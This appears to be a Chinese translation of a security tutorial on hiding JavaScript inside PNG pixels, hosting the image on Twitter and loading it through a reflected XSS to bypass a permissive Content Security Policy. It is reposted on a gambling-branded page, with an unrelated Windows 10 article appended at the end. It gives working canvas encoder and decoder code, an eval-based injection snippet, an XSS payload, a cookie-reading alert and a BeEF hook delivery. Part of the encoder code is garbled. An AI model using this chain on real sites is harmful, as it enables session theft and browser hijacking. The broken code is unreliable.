欢迎访问Sunbet官网(www.sunbet.us),Allbet欧博官网(www.ALLbetgame.us)!

首页Sunbet_新闻事件正文

一文了解如何将JavaScript隐藏在PNG图片中来绕过CSP

e6e9fdb1a932f3282020-06-21116技术

将一个恶意的JavaScript库隐藏到一个PNG图片中,并在twitter上发布,然后利用XSS攻击绕过其内容安全策略(CSP),将其包含在一个易受攻击的网站中。是不是觉得很科幻,本文我就将详细解锁这个过程。

使用HTML Canvas可以将任何JavaScript代码或整个库隐藏到一个PNG图片中,方法是将每个源代码字符转换为一个像素。然后,可以将图片上传到受信任的网站(如Twitter或Google)(通常由CSP列入白名单)最后将其作为远程图片加载到HTML文档中。最后,通过使用canvas getImageData方法,可以从图片中提取“隐藏的JavaScript”并执行它。有时这可能会导致绕过内容安全策略,使攻击者能够获取整个外部JavaScript库。

一文了解如何将JavaScript隐藏在PNG图片中来绕过CSP  技术 第1张

canvas元素标签强大之处在于可以直接在HTML上进行图形操作,具有极大的应用价值。canvas 可以实现对图像的像素操作,这就要说到 getImageData() 方法了。 ImageData 对象用来描述 canvas 区域隐含的像素数据,这个区域通过矩形表示,起始点为(sx, sy)、宽为sw、高为sh。

canvas getImageData() 方法的浏览器支持

Internet Explorer 9、Firefox、Opera、Chrome 以及 Safari 支持 getImageData() 方法。注意Internet Explorer 8 或更早的浏览器不支持。

canvas getImageData() 方法的定义和用法

getImageData() 方法返回 ImageData 对象,该对象拷贝了画布指定矩形的像素数据。

对于 ImageData 对象中的每个像素,都存在着四方面的信息,即 RGBA 值:

R - 红色 (0-255);

G - 绿色 (0-255);

B - 蓝色 (0-255);

A - alpha 通道 (0-255; 0 是透明的,255 是完全可见的);

color/alpha 以数组形式存在,并存储于 ImageData 对象的 data 属性中。

注意在操作完成数组中的 color/alpha 信息之后,你可以使用 putImageData() 方法将图像数据复制到画布上。

由于Content-Security-Policy响应头在防止XSS、clickjacking和其他代码注入攻击方面的效率,它被越来越多地使用。然而,许多网站配置laxy策略来避免误报和白名单整个域,而不是特定的资源,或使用不安全的内联或不安全的eval指令,这可能导致策略绕过。

在此,我推荐大家阅读Mike Parsons的一篇文章,他在这篇文章中详细展示了如何使用HTML Canvas将JavaScript代码“存储”到一个PNG图片中,在我看来,这可能是完美的CSP绕过技术,包括利用XSS的邪恶的JavaScript外部库脆弱性。全部使用CanvasRenderingContext2D方法putImageData和getImageData并使用String.charCodeAt表示隐藏文本字符串的每个字符。

Canvas 2D API的CanvasRenderingContext2D.putImageData()方法将给定ImageData对象中的数据绘制到画布上。如果提供了脏矩形(dirty rectangle ),则仅绘制该矩形中的像素,此方法不受画布转换矩阵的影响。

Canvas 2D API的CanvasRenderingContext2D方法getImageData()返回一个ImageData对象,该对象表示画布的指定部分的基础像素数据。此方法不受画布转换矩阵的影响,如果指定的矩形延伸到画布的边界之外,则画布外的像素在返回的ImageData对象中为透明的黑色。

使用Canvas在PNG图片中隐藏文本

下面是一个示例,你可以复制并粘贴到浏览器的JavaScript控制台,以从给定字符串开始创建一个PNG图片,例如:“Hello, World!”打开一个新标签页,转到about:blank,然后打开JavaScript控制台,粘贴以下代码:

(function() {
    function encode(a) {
        if (a.length) {
            var c = a.length,
                e = Math.ceil(Math.sqrt(c / 3)),
                f = e,
                g = document.createElement("canvas"),
                h = g.getContext("2d");
            g.width = e, g.height = f;
            var j = h.getImageData(0, 0, e, f),
                k = j.data,
                l = 0;
            for (var m = 0; m < f; m++)
                for (var n = 0; n < e; n++) {
                    var o = 4 * (m * e) + 4 * n,
                        p = a[l++],
                        q = a[l++],
                        r = a[l++];
                    (p || q || r) && (p && (k[o] = ord(p)), q && (k[o + 1] = ord(q)), r && (k[o + 2] = ord(r)), k[o + 3] = 255)
                }
            return h.putImageData(j, 0, 0), h.canvas.toDataURL()
        }
    }
    var ord = function ord(a) {
        var c = a + "",
            e = c.charCodeAt(0);
        if (55296 = e) {
            if (1 === c.length) return e;
            var f = c.charCodeAt(1);
            return 1024 * (e - 55296) + (f - 56320) + 65536
        }
        return 56320 = e ? e : e
    },
    d = document,
    b = d.body,
    img = new Image;
    var stringenc = "Hello, World!";
    img.src = encode(stringenc), b.innerHTML = "", b.appendChild(img)
})();

上面的代码使用putImageData方法创建一个图片,该方法将“Hello, World!”字符串的每组3个字符表示为每个像素的RGB级别(红色、绿色和蓝色)。在浏览器的控制台中运行后,你会在左上角看到一个小图片:

一文了解如何将JavaScript隐藏在PNG图片中来绕过CSP  技术 第2张

一文了解如何将JavaScript隐藏在PNG图片中来绕过CSP  技术 第3张

生成的图片(缩放x10)

就像我之前说的,上图的每个像素代表“隐藏字符串”的3个字符。使用charCodeAt函数,我可以将每个字符转换为0到65535之间的整数,代表其UTF-16代码单元。在单个像素中,第一个转换的字符用于红色通道,第二个字符用于绿色通道,最后一个字符用于蓝色通道。第四个值是在我们的示例中始终为255的alpha级别。如下所示:

r = "H".charCodeAt(0)
g = "e".charCodeAt(0)
b = "l".charCodeAt(0)
a = 255
j.data = [r,g,b,a,...]

在以下架构中,我尝试更好地解释如何将字符串的字符分配到ImageData数组中:

一文了解如何将JavaScript隐藏在PNG图片中来绕过CSP  技术 第4张

现在我们有了一个表示“Hello, World!”字符串的PNG图片。你可以将以下代码复制并粘贴到JavaScript控制台中,以将生成的PNG图片转换为原始文本字符串:

t = document.getElementsByTagName("img")[0];
var s = String.fromCharCode, c = document.createElement("canvas");
var cs = c.style,
    cx = c.getContext("2d"),
    w = t.offsetWidth,
    h = t.offsetHeight;
c.width = w;
c.height = h;
cs.width = w + "px";
cs.height = h + "px";
cx.drawImage(t, 0, 0);
var x = cx.getImageData(0, 0, w, h).data;
var a = "",
    l = x.length,
    p = -1;
for (var i = 0; i < l; i += 4) {
    if (x[i + 0]) a += s(x[i + 0]);
    if (x[i + 1]) a += s(x[i + 1]);
    if (x[i + 2]) a += s(x[i + 2]);
}
console.log(a);
document.getElementsByTagName("body")[0].innerHTML=a;

正如上面所看到的,JavaScript代码选择刚刚创建的图片元素,并使用getImageData将其转换为原始文本字符串。使用getImageData时,会发生这样的情况:你将获得一个ImageData对象,该对象的data属性包含一个大数组。如前所示,ImageData数组中每个像素都有四个元素:r、g、b和alpha。因此,该数组看起来像[pixel1R,pixel1G,pixel1B,pixel1Alpha,...,pixelNR,pixelNG,pixelNB,pixelNAlpha]。

一文了解如何将JavaScript隐藏在PNG图片中来绕过CSP  技术 第5张

利用易受攻击的网站

现在我们知道了如何将文本字符串“存储”到图片中,以及如何将该图片转换回其原始字符串。现在假设隐藏JavaScript代码而不是简单的文本字符串,然后将生成的PNG图片上载到Twitter。可以绕过内容安全性策略,即绕过Twitter的白名单图片,并可以利用XSS从“受信任的”来源加载JavaScript内容。

为此,我特意创建了一个脆弱的web应用程序,我将使用它来测试这项技术。webapp使用内容安全策略,防止加载外部JavaScript资源:

一文了解如何将JavaScript隐藏在PNG图片中来绕过CSP  技术 第6张

使用XSS攻击Webapp

一文了解如何将JavaScript隐藏在PNG图片中来绕过CSP  技术 第7张

如你所见,该应用程序使用了一个Content-Security-Policy,该策略允许来自“self”和Twitter的图片,并允许来自“self”、“inline”和“eval”的JavaScript。不幸的是,有许多网站配置了script-src指令,允许unsafe-inline和unsafe-eval来避免误报。而且,许多网站将整个域列入白名单,而不是将特定资源列入白名单。

如果你认为这种配置很少见,而且没有人在script-src指令上使用“unsafe-inline”和“unsafe-eval”,那么你就错了。通过最近抓取的Alexa Top钱100万排名,似乎有超过5000个网站在script-src或default-src指令上使用Content-Security-Policy和“unsafe-inline”和“unsafe-eval”:

一文了解如何将JavaScript隐藏在PNG图片中来绕过CSP  技术 第8张

该漏洞位于lang querystring参数上,该参数不能清除导致HTML注入和Reflected XSS的用户输入。要利用此测试Web应用程序上的XSS漏洞,我需要注入HTML语法以关闭src属性并添加SCRIPT标签,然后注入JavaScript代码,例如?lang =“>< script >alert(1)< /script >

之类的内容关闭src属性。

要包含来自Twitter的远程图片,我可以发送以下请求:

一文了解如何将JavaScript隐藏在PNG图片中来绕过CSP  技术 第9张

红色部分是恶意PNG图片的Twitter URL。蓝色部分是注入的id属性,以便更轻松地选择IMG标签。绿色部分是一个A标签,仅用于防止破坏HTML语法。现在,我需要注入几行JavaScript代码把图片转换成一个外部的JavaScript库并绕过CSP:

t = document.getElementById("jsimg");
var s = String.fromCharCode, c = document.createElement("canvas");
var cs = c.style,
    cx = c.getContext("2d"),
    w = t.offsetWidth,
    h = t.offsetHeight;
c.width = w;
c.height = h;
cs.width = w + "px";
cs.height = h + "px";
cx.drawImage(t, 0, 0);
var x = cx.getImageData(0, 0, w, h).data;
var a = "",
    l = x.length,
    p = -1;
for (var i = 0; i < l; i += 4) {
    if (x[i + 0]) a += s(x[i + 0]);
    if (x[i + 1]) a += s(x[i + 1]);
    if (x[i + 2]) a += s(x[i + 2]);
}
eval(a)

我已经将其编码为base64,现在在eval(atob("base64-encoded-js"))中使用它,并将其放入注入的onload属性中:

一文了解如何将JavaScript隐藏在PNG图片中来绕过CSP  技术 第10张

如下所示,变成橙色。

一文了解如何将JavaScript隐藏在PNG图片中来绕过CSP  技术 第11张

当发送整个有效载荷时,我会得到一个执行getImageData的错误消息消息为“画布已被跨源数据污染”。

一文了解如何将JavaScript隐藏在PNG图片中来绕过CSP  技术 第12张

通过阅读文档,我的浏览器似乎故意在跨源加载图片时阻塞getImageData之类的方法。似乎我只需要注入crossorigin属性:

1. HTML为图片提供了跨域属性,该图片与适当的CORS标头结合使用,允许元素定义的从外部来源加载的图片在< img >元素定义的图像在< canvas >中使用,就好像它们是从当前源加载的一样。

2. 由于画布位图中的像素可能来自多种来源,包括从其他主机检索到的图片或视频,因此不可避免地会出现安全问题。一旦将任何未经CORS批准从其他来源加载的数据绘制到画布中,画布就会被污染。被污染的画布不再被认为是安全的,任何从画布中检索图片数据的尝试都会导致引发异常。如果外部内容的来源是HTML < img >或SVG< svg > 元素,则不允许尝试检索画布的内容。

幸运的是,Twitter向所有上传的图片添加了一个Access-Control-Allow-Origin:*,这意味着我只需要将crossorigin属性注入到IMG标签中并带有“anonymous”值即可。

一文了解如何将JavaScript隐藏在PNG图片中来绕过CSP  技术 第13张

通过将crossorigin属性注入值“anonymous”,所有功能均按预期工作,并且我成功执行了函数alert(document.cookie),如下图所示:

一文了解如何将JavaScript隐藏在PNG图片中来绕过CSP  技术 第14张

来自Twitter图片的警告(document.cookie)

以下是我使用的全部有效载荷:

一文了解如何将JavaScript隐藏在PNG图片中来绕过CSP  技术 第15张

具体示例过程,请点此动图查看。

转换BeEF hook.js

这是将BeEF的hook.js转换为PNG图片的测试,BeEF是一个浏览器开发框架,这是一个专注于Web浏览器的渗透测试工具。BeEF( The Browser Exploitation Framework) 是由Wade Alcorn 在2006年开始创建的,至今还在维护。是由ruby语言开发的专门针对浏览器攻击的框架。我首先使用curl -s 'http://localhost:3000/hook.js' | base64 -w0对base64进行了编码,然后我创建了如图所示的图片。

一文了解如何将JavaScript隐藏在PNG图片中来绕过CSP  技术 第16张

hook.js PNG

一文了解如何将JavaScript隐藏在PNG图片中来绕过CSP  技术 第17张

从PNG图片中注入hook.js

一文了解如何将JavaScript隐藏在PNG图片中来绕过CSP  技术 第18张

从易受攻击的webapp收到的hook

总结

我能够绕过网站的内容安全策略,该网站加载隐藏在Twitter上上传的PNG图片中的外部JavaScript库。 之所以可能这样做,是因为CSP过于宽松,并且Twitter向所有上传的图片发送了通配符访问源响应标头。我猜想同样的技术也可以在许多其他社交网络上很好地工作,这就是为什么你永远不要在CSP上使用“unsafe-inline”和“unsafe-eval”指令的原因。

本文翻译自:https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/:
技术小哥注意了 | Windows 10更新了沙箱、WiFi 6、WPA3等安全特征

Windows 10系统5月更新(Windows 10 2004版本)已于近日开始向用户推送。新的win 10版本中引入了许多新的特征,包括改进了网络状态页、在任务管理器中增加了GPU卡温度、以及新的Cortana体验。 Windows 10 2004版本中在安全方面也做了许多的改进,微软称这可以Windows 10用户更加安全。下面是新版本中加入的一些新的安全特征: WINDOWS沙箱改进 去年微软在v 1903的所有Windows发布版中引入了Windows 沙箱。Windows沙箱组件可以让用户启动一个运行简化版Windows 10系统的虚拟机。由于Windows沙箱允许在隔离环境中执行危险(不安全)的应用,而不影响原Windows 10系统的安卓和运行,因此在企业用户中非常流行。 由于Windows沙箱与其他沙箱软件是互不兼容的,因此最新的Windows版本中加入了一些新的特征来让该